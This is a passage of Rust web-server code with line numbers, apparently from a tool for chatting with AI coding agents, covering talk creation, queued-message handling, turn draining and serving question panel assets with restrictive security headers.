6921 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6922 if !q.status.open() {
6923 return Err(ApiError::conflict(format!(
6924 "question {} is already {}",
6925 q.short(),
6926 q.status.as_str()
6927 )));
6928 }
6929 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6930 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6931 return Err(ApiError::conflict(format!(
6932 "question {} has no chat to ask",
6933 q.short()
6934 )));
6935 };
6936 let cfg = if q.consult.is_none() {
6940 Some(Config::discover(&talk.repo, None)?.0)
6941 } else {
6942 None
6943 };
6944 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6945 let claim = if fresh {
6946 match ui.begin_queued_talk_turn(&talk.id)? {
6947 Some(turn_guard) => {
6948 let talk = ui.talks.get(&talk.id)?;
6949 let cfg = match cfg {
6950 Some(cfg) => cfg,
6951 None => Config::discover(&talk.repo, None)?.0,
6952 };
6953 Some((talk, cfg, turn_guard))
6954 }
6955 None => None,
6956 }
6957 } else {
6958 None
6959 };
6960 let q = ui.questions.get(&q.id)?;
6961 let cfg = deputy_config(&ui.repo);
6962 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6963 Ok((view, claim))
6964 }
6965 })
6966 .await?;
6967 if let Some((talk, cfg, turn_guard)) = reclaimed {
6968 let talks = ui.talks.clone();
6969 let id = talk.id.clone();
6970 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6971 }
6972 Ok((StatusCode::ACCEPTED, Json(view)))
6973}
6974
6975fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6977 if store.path_of(id).is_file() {
6978 return Ok(id.to_owned());
6979 }
6980 pick(
6981 store.list().into_iter().map(|q| q.id).collect(),
6982 id,
6983 "question",
6984 )
6985}
6986
6987async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7002 blocking(move || {
7003 let id = resolve_question(&ui.questions, &id)?;
7004 let Some(html) = ui.questions.panel_html(&id) else {
7005 return Err(ApiError::not_found(format!("question {id} has no panel")));
7006 };
7007 Ok(panel_response(
7008 "text/html; charset=utf-8",
7009 false,
7010 html.into_bytes(),
7011 ))
7012 })
7013 .await
7014}
7015
7016async fn question_asset(
7044 State(ui): State<Arc<Ui>>,
7045 Path((id, name)): Path<(String, String)>,
7046) -> ApiResult<Response> {
7047 if !crate::ask::valid_asset_name(&name) {
7050 return Err(ApiError::bad_request(format!(
7051 "`{name}` is not a usable asset name"
7052 )));
7053 }
7054 blocking(move || {
7055 let id = resolve_question(&ui.questions, &id)?;
7056 let asset = ui
7057 .questions
7058 .panel_asset(&id, &name)
7059 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7060 let Some(bytes) = asset else {
7061 return Err(ApiError::not_found(format!(
7062 "question {id} has no asset `{name}`"
7063 )));
7064 };
7065 Ok(panel_response(
7066 asset_content_type(&name),
7067 is_svg(&name),
7068 bytes,
7069 ))
7070 })
7071 .await
7072}
7073
7074fn asset_content_type(name: &str) -> &'static str {
7087 match extension(name).as_deref() {
7088 Some("png") => "image/png",
7089 Some("jpg" | "jpeg") => "image/jpeg",
7090 Some("gif") => "image/gif",
7091 Some("webp") => "image/webp",
7092 Some("svg") => "image/svg+xml",
7093 Some("css") => "text/css; charset=utf-8",
7094 Some("txt") => "text/plain; charset=utf-8",
7095 _ => "application/octet-stream",
7096 }
7097}
7098
7099fn is_svg(name: &str) -> bool {
7102 extension(name).as_deref() == Some("svg")
7103}
7104
7105fn extension(name: &str) -> Option<String> {
7107 name.rsplit_once('.')
7108 .map(|(_, ext)| ext.to_ascii_lowercase())
7109}
7110
7111fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7128 let mut res = (
7129 [
7130 (header::CONTENT_TYPE, content_type),
7131 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7132 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7133 (header::REFERRER_POLICY, "no-referrer"),
7134 ],
7135 body,
7136 )
7137 .into_response();
7138 if download {
7139 res.headers_mut().insert(
7140 header::CONTENT_DISPOSITION,
7141 HeaderValue::from_static("attachment"),
7142 );
7143 }
7144 res
7145}
7146
7147#[derive(Debug, Serialize)]
7153struct TalkView {
7154 #[serde(flatten)]
7155 talk: Talk,
7156 turn_bodies_md: Vec<Vec<md::Node>>,
7157 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7159 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7160 thinking: bool,
7168 context: talk::ContextUsage,
7172 operator_name: Option<String>,
7175 persona_name: Option<String>,
7177 persona_avatar: String,
7180 operator_avatar: String,
7182 magi_avatar: String,
7183}
7184
7185impl TalkView {
7186 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7189 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7190 Self::with_config(talk, thinking, cfg.as_ref(), home)
7191 }
7192
7193 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7196 let snapshot = talk.clone();
7198 for (index, turn) in talk.turns.iter_mut().enumerate() {
7199 let original = &snapshot.turns[index];
7200 if turn.messages.is_empty() {
7201 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7202 turn.messages.push(talk::Message {
7203 sender: Some(talk::Sender::Magi),
7204 body: original.body.clone(),
7205 display: Some(display),
7206 attachments: original.attachments.clone(),
7207 reply: None,
7208 });
7209 }
7210 } else {
7211 for (i, message) in turn.messages.iter_mut().enumerate() {
7212 message.display =
7213 talk::notice_display(&snapshot, original, original.messages.get(i));
7214 if message.display.is_some() {
7215 message.sender = Some(talk::Sender::Magi);
7216 }
7217 }
7218 }
7219 }
7220 for message in &mut talk.pending_messages {
7221 if message.display.is_none()
7222 && (message.sender == Some(talk::Sender::Magi)
7223 || snapshot
7224 .completion_notices
7225 .iter()
7226 .any(|r| r.notice == message.body))
7227 {
7228 message.display = crate::prompt::legacy_notice_display(&message.body);
7229 if message.display.is_some() {
7230 message.sender = Some(talk::Sender::Magi);
7231 }
7232 }
7233 }
7234 if talk.pending_messages.is_empty()
7235 && snapshot
7236 .completion_notices
7237 .iter()
7238 .any(|r| r.notice == talk.pending)
7239 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7240 {
7241 talk.pending_messages.push(talk::Message {
7242 sender: Some(talk::Sender::Magi),
7243 display: Some(display),
7244 body: talk.pending.clone(),
7245 attachments: talk.pending_attachments.clone(),
7246 reply: None,
7247 });
7248 }
7249 let excerpts: Vec<Vec<Option<String>>> = talk
7250 .turns
7251 .iter()
7252 .map(|turn| {
7253 turn.messages
7254 .iter()
7255 .map(|m| {
7256 m.display
7257 .as_ref()
7258 .map(|d| d.facts.chars().take(240).collect())
7259 })
7260 .collect()
7261 })
7262 .collect();
7263 for turn in &mut talk.turns {
7264 let provenance = talk::sender(turn, None);
7265 turn.sender = Some(provenance);
7266 for message in &mut turn.messages {
7267 message.sender = Some(message.sender.unwrap_or(provenance));
7268 }
7269 }
7270 let senders: Vec<Vec<talk::Sender>> = talk
7272 .turns
7273 .iter()
7274 .map(|turn| {
7275 if turn.messages.is_empty() {
7276 vec![talk::sender(turn, None)]
7277 } else {
7278 turn.messages
7279 .iter()
7280 .map(|m| talk::sender(turn, Some(m)))
7281 .collect()
7282 }
7283 })
7284 .collect();
7285 for reply in talk
7286 .turns
7287 .iter_mut()
7288 .flat_map(|t| t.messages.iter_mut())
7289 .chain(talk.pending_messages.iter_mut())
7290 .filter_map(|m| m.reply.as_mut())
7291 {
7292 if let Some(Some(excerpt)) = excerpts
7293 .get(reply.target.turn)
7294 .and_then(|ms| ms.get(reply.target.message))
7295 {
7296 reply.excerpt = excerpt.clone();
7297 reply.sender = Some(talk::Sender::Magi);
7298 }
7299 if reply.sender.is_none() {
7300 reply.sender = senders
7301 .get(reply.target.turn)
7302 .and_then(|messages| messages.get(reply.target.message))
7303 .copied();
7304 }
7305 }
7306 let context = talk::context_usage(&talk, cfg);
7307 let turn_bodies_md = talk
7308 .turns
7309 .iter()
7310 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7311 .collect();
7312 let turn_messages_md = talk
7313 .turns
7314 .iter()
7315 .map(|turn| {
7316 if turn.messages.is_empty() {
7317 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7318 } else {
7319 turn.messages
7320 .iter()
7321 .map(|message| {
7322 notice_markdown(
7323 message.sender.unwrap_or(talk::Sender::Operator),
7324 &message.body,
7325 message.display.as_ref(),
7326 )
7327 })
7328 .collect()
7329 }
7330 })
7331 .collect();
7332 let pending_messages_md = talk
7333 .pending_messages
7334 .iter()
7335 .map(|message| {
7336 notice_markdown(
7337 message.sender.unwrap_or(talk::Sender::Operator),
7338 &message.body,
7339 message.display.as_ref(),
7340 )
7341 })
7342 .collect();
7343 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7344 let persona_name = persona::find(specs, &talk.persona)
7345 .filter(|p| !p.is_default())
7346 .map(|p| p.name);
7347 let persona_avatar = avatar_url(
7348 &talk.id,
7349 &persona::find(specs, &talk.persona)
7350 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7351 );
7352 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7353 Self {
7354 turn_bodies_md,
7355 turn_messages_md,
7356 pending_messages_md,
7357 thinking,
7358 context,
7359 operator_name,
7360 persona_name,
7361 persona_avatar,
7362 magi_avatar: magi_icon_url(home),
7363 operator_avatar: format!(
7364 "/avatars/operator.svg?v={}",
7365 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7366 ),
7367 talk,
7368 }
7369 }
7370}
7371
7372fn notice_markdown(
7374 sender: talk::Sender,
7375 body: &str,
7376 display: Option<&crate::prompt::NoticeDisplay>,
7377) -> Option<Vec<md::Node>> {
7378 if sender != talk::Sender::Magi {
7379 return None;
7380 }
7381 let text = if let Some(display) = display {
7382 display.facts.as_str()
7383 } else {
7384 if crate::prompt::is_completion_notice(body)
7387 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7388 {
7389 return None;
7390 }
7391 body.strip_prefix("magi: ").unwrap_or(body)
7392 };
7393 Some(md::to_nodes(text, &md::ImageBase::None))
7394}
7395
7396#[derive(Debug, Serialize)]
7401struct TalkDetailView {
7402 #[serde(flatten)]
7403 view: TalkView,
7404 tasks: Vec<TaskView>,
7405 roster: Vec<RosterEntry>,
7408 personas: Vec<PersonaEntry>,
7411}
7412
7413#[derive(Debug, Serialize)]
7415struct PersonaEntry {
7416 id: String,
7417 name: String,
7418 avatar: String,
7420}
7421
7422#[derive(Debug, Serialize)]
7424struct RosterEntry {
7425 id: String,
7426 kind: AgentKind,
7427 runnable: bool,
7429}
7430
7431async fn talks_list(
7436 State(ui): State<Arc<Ui>>,
7437 Query(q): Query<ListQuery>,
7438) -> ApiResult<Json<Vec<TalkView>>> {
7439 blocking(move || {
7440 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7441 Ok(Json(
7442 ui.talks
7443 .list()
7444 .into_iter()
7445 .filter(|talk| q.contains(&talk.id))
7446 .map(|talk| {
7447 let thinking = ui.is_thinking(&talk.id);
7448 let cfg = configs
7449 .entry(talk.repo.clone())
7450 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7451 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7452 })
7453 .collect(),
7454 ))
7455 })
7456 .await
7457}
7458
7459#[derive(Debug, Default, Deserialize)]
7464#[serde(default)]
7465struct NewTalk {
7466 agent: Option<String>,
7467 repo: Option<PathBuf>,
7468 preferred_agent: Option<serde_json::Value>,
7472 persona: Option<serde_json::Value>,
7473 implementers: Option<serde_json::Value>,
7474}
7475
7476async fn talk_post(
7479 State(ui): State<Arc<Ui>>,
7480 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7481) -> ApiResult<impl IntoResponse> {
7482 let body = match body {
7486 Ok(Json(body)) => body,
7487 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7488 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7489 };
7490 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7491 let cfg = config_for(&repo).await?;
7492 let view = blocking(move || {
7493 let preferred = talk::Preferred {
7494 agent: body
7495 .preferred_agent
7496 .as_ref()
7497 .and_then(|v| v.as_str())
7498 .map(str::to_owned),
7499 persona: body
7500 .persona
7501 .as_ref()
7502 .and_then(|v| v.as_str())
7503 .map(str::to_owned),
7504 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7505 };
7506 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7507 let thinking = ui.is_thinking(&talk.id);
7508 Ok(TalkView::new(talk, thinking, &ui.home))
7509 })
7510 .await?;
7511 Ok((StatusCode::CREATED, Json(view)))
7512}
7513
7514async fn talk_detail(
7516 State(ui): State<Arc<Ui>>,
7517 Path(id): Path<String>,
7518) -> ApiResult<Json<TalkDetailView>> {
7519 blocking(move || {
7520 let id = resolve_talk(&ui.talks, &id)?;
7521 let talk = ui.talks.get(&id)?;
7522 let thinking = ui.is_thinking(&talk.id);
7523 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7524 .into_iter()
7525 .map(TaskView::from)
7526 .collect();
7527 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7528 let roster = cfg
7529 .as_ref()
7530 .map(|cfg| {
7531 cfg.agents
7532 .iter()
7533 .map(|a| RosterEntry {
7534 id: a.id.clone(),
7535 kind: a.kind,
7536 runnable: agent::installed(a),
7537 })
7538 .collect()
7539 })
7540 .unwrap_or_default();
7541 let specs = cfg
7542 .as_ref()
7543 .map(|cfg| cfg.talk.personas.clone())
7544 .unwrap_or_default();
7545 let personas = persona::catalog(&specs)
7546 .into_iter()
7547 .map(|p| PersonaEntry {
7548 avatar: avatar_url(&talk.id, &p),
7549 id: p.id,
7550 name: p.name,
7551 })
7552 .collect();
7553 Ok(Json(TalkDetailView {
7554 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7555 tasks,
7556 roster,
7557 personas,
7558 }))
7559 })
7560 .await
7561}
7562
7563#[derive(Debug, Default, Deserialize)]
7569#[serde(default, deny_unknown_fields)]
7570struct NewTalkTurn {
7571 reply_to: Option<talk::ReplyTarget>,
7572 text: String,
7573 attachments: Vec<String>,
7574}
7575
7576#[derive(Debug, Deserialize)]
7577#[serde(deny_unknown_fields)]
7578struct EditTalkPending {
7579 #[serde(default)]
7580 message: Option<usize>,
7581 text: String,
7582 expected_text: String,
7583 expected_attachments: Vec<String>,
7584}
7585
7586#[derive(Debug, Deserialize)]
7587#[serde(deny_unknown_fields)]
7588struct ClearTalkPending {
7589 expected_text: String,
7590 expected_attachments: Vec<String>,
7591}
7592
7593async fn talk_say(
7605 State(ui): State<Arc<Ui>>,
7606 Path(id): Path<String>,
7607 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7608) -> ApiResult<(StatusCode, Json<TalkView>)> {
7609 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7610 if body.text.trim().is_empty() && body.attachments.is_empty() {
7611 return Err(ApiError::bad_request("say something"));
7612 }
7613
7614 let id = {
7615 let ui = Arc::clone(&ui);
7616 let asked = id.clone();
7617 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7618 };
7619 {
7623 let ui = Arc::clone(&ui);
7624 let id = id.clone();
7625 blocking(move || {
7626 let talk = ui.talks.get(&id)?;
7627 if !talk.status.open() {
7628 return Err(ApiError::conflict(format!(
7629 "talk {} is {} and takes no more turns",
7630 talk.short(),
7631 talk.status.as_str()
7632 )));
7633 }
7634 Ok(())
7635 })
7636 .await?;
7637 }
7638
7639 let attachments = {
7644 let ui = Arc::clone(&ui);
7645 let id = id.clone();
7646 let ids = body.attachments.clone();
7647 blocking(move || {
7648 ids.into_iter()
7649 .map(|att_id| {
7650 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7651 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7652 })
7653 })
7654 .collect::<ApiResult<Vec<talk::Attachment>>>()
7655 })
7656 .await?
7657 };
7658
7659 let start = {
7664 let ui = Arc::clone(&ui);
7665 let id = id.clone();
7666 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7667 };
7668 let turn_guard = match start {
7669 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7670 TalkTurnStart::Pending => {
7671 return Err(ApiError::conflict(
7672 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7673 ));
7674 }
7675 TalkTurnStart::Foreign => {
7676 return Err(ApiError::conflict(
7677 "a turn is already running in another process; try again when it has finished",
7678 ));
7679 }
7680 TalkTurnStart::Busy => {
7681 let (tx, rx) = tokio::sync::oneshot::channel();
7697 tokio::spawn({
7698 let ui = Arc::clone(&ui);
7699 let id = id.clone();
7700 let said = body.text.clone();
7701 let reply_to = body.reply_to.clone();
7702 async move {
7703 let written = blocking({
7704 let ui = Arc::clone(&ui);
7705 let id = id.clone();
7706 move || {
7707 let mut talk = ui.talks.get(&id)?;
7708 #[cfg(test)]
7713 if let Some(gate) = ui
7714 .busy_queue_gate
7715 .lock()
7716 .unwrap_or_else(PoisonError::into_inner)
7717 .take()
7718 {
7719 let _ = gate.reached.send(());
7720 let _ = gate.release.recv();
7721 }
7722 if let Err(error) = talk::queue_reply(
7723 &mut talk,
7724 &ui.talks,
7725 &said,
7726 attachments,
7727 reply_to,
7728 ) {
7729 if let Ok(fresh) = ui.talks.get(&id) {
7730 if !fresh.status.open() {
7731 return Err(ApiError::conflict(format!(
7732 "talk {} is {} and takes no more turns",
7733 fresh.short(),
7734 fresh.status.as_str()
7735 )));
7736 }
7737 }
7738 return Err(
7739 if error.to_string().contains("invalid reply target") {
7740 ApiError::bad_request("invalid reply target")
7741 } else {
7742 ApiError::from(error)
7743 },
7744 );
7745 }
7746 let claim = match ui.begin_queued_talk_turn(&id)? {
7757 Some(turn_guard) => {
7758 let (cfg, _) = Config::discover(&talk.repo, None)?;
7759 Some((talk.clone(), cfg, turn_guard))
7760 }
7761 None => None,
7762 };
7763 let thinking = ui.is_thinking(&id);
7764 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7765 }
7766 })
7767 .await;
7768 let (view, reclaimed) = match written {
7769 Ok(pair) => pair,
7770 Err(e) => {
7771 let _ = tx.send(Err(e));
7776 return;
7777 }
7778 };
7779 let _ = tx.send(Ok(view));
7782 if let Some((talk, cfg, turn_guard)) = reclaimed {
7783 let talks = ui.talks.clone();
7784 drain_loop(talk, talks, cfg, id, turn_guard).await;
7785 }
7786 }
7787 });
7788 let view = rx
7789 .await
7790 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7791 return Ok((StatusCode::ACCEPTED, Json(view)));
7792 }
7793 };
7794
7795 let (talk, cfg) = {
7796 let ui = Arc::clone(&ui);
7797 let id = id.clone();
7798 blocking(move || {
7799 let talk = ui.talks.get(&id)?;
7800 let (cfg, _) = Config::discover(&talk.repo, None)?;
7801 Ok((talk, cfg))
7802 })
7803 .await?
7804 };
7805
7806 let talks = ui.talks.clone();
7807 let (tx, rx) = tokio::sync::oneshot::channel();
7822 tokio::spawn({
7823 let ui = Arc::clone(&ui);
7824 let talks = talks.clone();
7825 let id = id.clone();
7826 let said = body.text.clone();
7827 let reply_to = body.reply_to.clone();
7828 let mut talk = talk.clone();
7829 async move {
7830 let recorded = blocking({
7831 let talks = talks.clone();
7832 move || {
7833 if let Err(error) =
7834 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7835 {
7836 if let Ok(fresh) = talks.get(&talk.id) {
7837 if !fresh.status.open() {
7838 return Err(ApiError::conflict(format!(
7839 "talk {} is {} and takes no more turns",
7840 fresh.short(),
7841 fresh.status.as_str()
7842 )));
7843 }
7844 }
7845 return Err(if error.to_string().contains("invalid reply target") {
7846 ApiError::bad_request("invalid reply target")
7847 } else {
7848 ApiError::from(error)
7849 });
7850 }
7851 Ok((said.trim().to_owned(), talk))
7857 }
7858 })
7859 .await;
7860 let (text, mut talk) = match recorded {
7861 Ok(pair) => pair,
7862 Err(e) => {
7863 let _ = tx.send(Err(e));
7867 return;
7868 }
7869 };
7870 let queued = talk.clone();
7871 let thinking = ui.is_thinking(&id);
7872 let _ = tx.send(Ok((queued, thinking)));
7875
7876 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7877 tracing::warn!("talk {id} turn failed: {e:#}");
7881 }
7882 drain_loop(talk, talks, cfg, id, turn_guard).await;
7885 }
7886 });
7887
7888 let (queued, thinking) = rx
7889 .await
7890 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7891
7892 Ok((
7894 StatusCode::ACCEPTED,
7895 Json(TalkView::new(queued, thinking, &ui.home)),
7896 ))
7897}
7898
7899async fn talk_pending_resume(
7903 State(ui): State<Arc<Ui>>,
7904 Path(id): Path<String>,
7905) -> ApiResult<(StatusCode, Json<TalkView>)> {
7906 let id = {
7907 let ui = Arc::clone(&ui);
7908 let asked = id.clone();
7909 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7910 };
7911 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7912 return Err(ApiError::conflict(
7913 "a talk turn is already running; the queued draft will be handled by it",
7914 ));
7915 };
7916 let (talk, cfg) = {
7917 let ui = Arc::clone(&ui);
7918 let id = id.clone();
7919 blocking(move || {
7920 let talk = ui.talks.get(&id)?;
7921 if !talk.status.open() {
7922 return Err(ApiError::conflict(format!(
7923 "talk {} is {} and takes no more turns",
7924 talk.short(),
7925 talk.status.as_str()
7926 )));
7927 }
7928 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7929 return Err(ApiError::conflict("there is no queued draft to resume"));
7930 }
7931 let (cfg, _) = Config::discover(&talk.repo, None)?;
7932 Ok((talk, cfg))
7933 })
7934 .await?
7935 };
7936 let view = TalkView::new(talk.clone(), true, &ui.home);
7937 let talks = ui.talks.clone();
7938 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7939 Ok((StatusCode::ACCEPTED, Json(view)))
7940}
7941
7942async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7958 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7959}
7960
7961async fn settle_settings_turn(
7965 talk: Talk,
7966 talks: Talks,
7967 cfg: Config,
7968 id: String,
7969 turn: TalkTurnGuard,
7970 observed: u64,
7971) -> bool {
7972 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7973 let turns = Arc::clone(&turn.turns);
7974 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7975 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7976 turn.release(&mut live);
7978 return false;
7979 }
7980 }
7981 let (started, settled) = tokio::sync::oneshot::channel();
7982 tokio::spawn(drain_loop_started(
7983 talk,
7984 talks,
7985 cfg,
7986 id,
7987 turn,
7988 Some(started),
7989 ));
7990 settled.await.unwrap_or(false)
7991}
7992
7993async fn drain_loop_started(
7994 mut talk: Talk,
7995 talks: Talks,
7996 cfg: Config,
7997 id: String,
7998 turn: TalkTurnGuard,
7999 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8000) {
8001 let live_set = Arc::clone(&turn.turns);
8002 let mut turn = Some(turn);
8010 loop {
8011 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8012 tracing::warn!("talk {id} lost its turn lease; not draining further");
8015 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8016 if let Some(turn) = turn.take() {
8017 turn.release(&mut live);
8018 }
8019 break;
8020 }
8021 {
8022 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8025 if live.parking {
8026 if let Some(turn) = turn.take() {
8027 turn.release(&mut live);
8028 }
8029 break;
8030 }
8031 }
8032 let observed = live_set
8036 .lock()
8037 .unwrap_or_else(PoisonError::into_inner)
8038 .queued
8039 .get(&id)
8040 .copied()
8041 .unwrap_or(0);
8042 let drained = blocking({
8043 let talks = talks.clone();
8044 let live_set = Arc::clone(&live_set);
8045 move || {
8046 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8051 let result = if live.parking {
8052 Ok(None)
8053 } else {
8054 talk::drain(&mut talk, &talks)
8055 };
8056 drop(live);
8057 Ok((talk, result))
8058 }
8059 })
8060 .await;
8061 let (next_talk, result) = match drained {
8062 Ok(drained) => drained,
8063 Err(e) => {
8064 tracing::warn!(
8065 status = %e.status,
8066 message = %e.message,
8067 "talk {id} could not start queued-text drain"
8068 );
8069 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8070 turn.take()
8071 .expect("held for the whole loop until released here")
8072 .release(&mut live);
8073 break;
8074 }
8075 };
8076 talk = next_talk;
8077 let drained = match result {
8078 Ok(Some(drained)) => drained,
8079 Ok(None) => {
8080 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8081 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8082 continue;
8083 }
8084 turn.take()
8085 .expect("held for the whole loop until released here")
8086 .release(&mut live);
8087 break;
8088 }
8089 Err(e) => {
8090 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8091 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8092 turn.take()
8093 .expect("held for the whole loop until released here")
8094 .release(&mut live);
8095 break;
8096 }
8097 };
8098 if let Some(started) = started.take() {
8099 let _ = started.send(true);
8100 }
8101 let responded = match turn.as_ref() {
8102 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8103 None => Err(anyhow::anyhow!("the turn guard was released")),
8104 };
8105 if let Err(e) = responded {
8106 tracing::warn!("talk {id} turn failed: {e:#}");
8107 }
8108 }
8109 drop(turn);
8110 if let Some(started) = started {
8111 let _ = started.send(false);
8112 }
8113}
8114
8115async fn talk_pending_clear(
8117 State(ui): State<Arc<Ui>>,
8118 Path(id): Path<String>,
8119 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8120) -> ApiResult<Json<TalkView>> {
8121 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8122 blocking(move || {
8123 let id = resolve_talk(&ui.talks, &id)?;
8124 let mut talk = ui.talks.get(&id)?;
8125 if !talk.status.open() {
8126 return Err(ApiError::conflict(format!(
8127 "talk {} is {} and takes no more turns",
8128 talk.short(),
8129 talk.status.as_str()
8130 )));
8131 }
8132 if !talk::clear_pending_if_matches(
8133 &mut talk,
8134 &ui.talks,
8135 &body.expected_text,
8136 &body.expected_attachments,
8137 )? {
8138 return Err(ApiError::conflict(
8139 "queued message changed; reload it before clearing",
8140 ));
8141 }
8142 let thinking = ui.is_thinking(&talk.id);
8143 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8144 })
8145 .await
8146}
8147
8148async fn talk_pending_edit(
8152 State(ui): State<Arc<Ui>>,
8153 Path(id): Path<String>,
8154 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8155) -> ApiResult<Json<TalkView>> {
8156 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8157 let (view, reclaimed) = blocking({
8158 let ui = Arc::clone(&ui);
8159 move || {
8160 let id = resolve_talk(&ui.talks, &id)?;
8161 let mut talk = ui.talks.get(&id)?;
8162 if !talk.status.open() {
8163 return Err(ApiError::conflict(format!(
8164 "talk {} is {} and takes no more turns",
8165 talk.short(),
8166 talk.status.as_str()
8167 )));
8168 }
8169 if !talk::edit_pending_message(
8170 &mut talk,
8171 &ui.talks,
8172 &body.text,
8173 &body.expected_text,
8174 &body.expected_attachments,
8175 body.message,
8176 )? {
8177 return Err(ApiError::conflict(
8178 "queued message changed; reload it before editing",
8179 ));
8180 }
8181 let claim = match ui.begin_queued_talk_turn(&id)? {
8182 Some(turn_guard) => {
8183 let (cfg, _) = Config::discover(&talk.repo, None)?;
8184 Some((talk.clone(), cfg, id.clone(), turn_guard))
8185 }
8186 None => None,
8187 };
8188 let thinking = ui.is_thinking(&id);
8189 Ok((TalkView::new(talk, thinking, &ui.home), claim))
8190 }
8191 })
8192 .await?;
8193 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8194 let talks = ui.talks.clone();
8195 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8196 }
8197 Ok(Json(view))
8198}
8199
8200fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8202 if talk.status.open() {
8203 return Ok(());
8204 }
8205 Err(ApiError::conflict(format!(
8206 "talk {} is {} and takes no more turns",
8207 talk.short(),
8208 talk.status.as_str()
8209 )))
8210}
8211
8212#[derive(Debug, Deserialize)]
8214struct TalkAgent {
8215 agent: String,
8216}
8217
8218async fn talk_agent(
8223 State(ui): State<Arc<Ui>>,
8224 Path(id): Path<String>,
8225 Json(body): Json<TalkAgent>,
8226) -> ApiResult<Json<TalkView>> {
8227 let id = {
8228 let ui = Arc::clone(&ui);
8229 blocking(move || resolve_talk(&ui.talks, &id)).await?
8230 };
8231 let repo = {
8232 let ui = Arc::clone(&ui);
8233 let id = id.clone();
8234 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8235 };
8236 let cfg = config_for(&repo).await?;
8237 {
8239 let ui = Arc::clone(&ui);
8240 let id = id.clone();
8241 let cfg = cfg.clone();
8242 let wanted = body.agent.clone();
8243 blocking(move || {
8244 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8245 .map_err(ApiError::bad_request_from)?;
